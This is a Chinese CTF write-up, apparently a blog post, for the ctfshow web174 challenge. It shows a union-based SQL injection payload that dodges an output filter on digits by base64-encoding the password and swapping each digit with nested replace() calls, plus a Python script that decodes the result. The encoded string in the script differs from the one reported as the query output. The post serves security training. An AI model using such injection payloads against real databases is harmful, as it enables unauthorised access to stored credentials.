CTFSHOW web入门——web174

文章展示了如何利用Base64编码结合SQL查询中的replace函数,对含有0-9的密码进行加密。通过将数字替换为特定字符,然后解密回原始值,成功地从ctfshow_user4表中查询到了名为flag的用户的加密密码,并提供了Python脚本来还原这个过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

查看函数,返回值把0-9的数字和flag给过滤了

 可以先用base64进行加密

0' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),"1","@A"),"2","@B"),"3","@C"),"4","@D"),"5","@E"),"6","@F"),"7","@G"),"8","@H"),"9","@I"),"0","@J") from ctfshow_user4 where username="flag" --+
 

replace()函数用法:
REPLACE ( string_expression , string_pattern , string_replacement )
参数:
string_expression:字符串表达式
string_pattern:想要查找的子字符串
string_replacement:想要替换成的子字符串

 得到了Y@CRmc@Bhvd@CtmZTAyOGNjMy@AiNDgzLTQ@ENWQtOTc@AOS@JxMDcyMmUzZjVjMDF@I

脚本替换回原来的flag

import base64

flag64 = "Y@CRmc@Bhvd@CsyNjZiN@BU@JYy@J@EZTJiLTQzOGEtODg@EZC@J@CYjc@AMTZhNTBkMzR@I"
flag = flag64.replace("@A", "1").replace("@B", "2").replace("@C", "3").replace("@D", "4").replace("@E", "5").replace("@F", "6").replace("@G", "7").replace("@H", "8").replace("@I", "9").replace("@J", "0")

print(base64.b64decode(flag))

获得flag

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值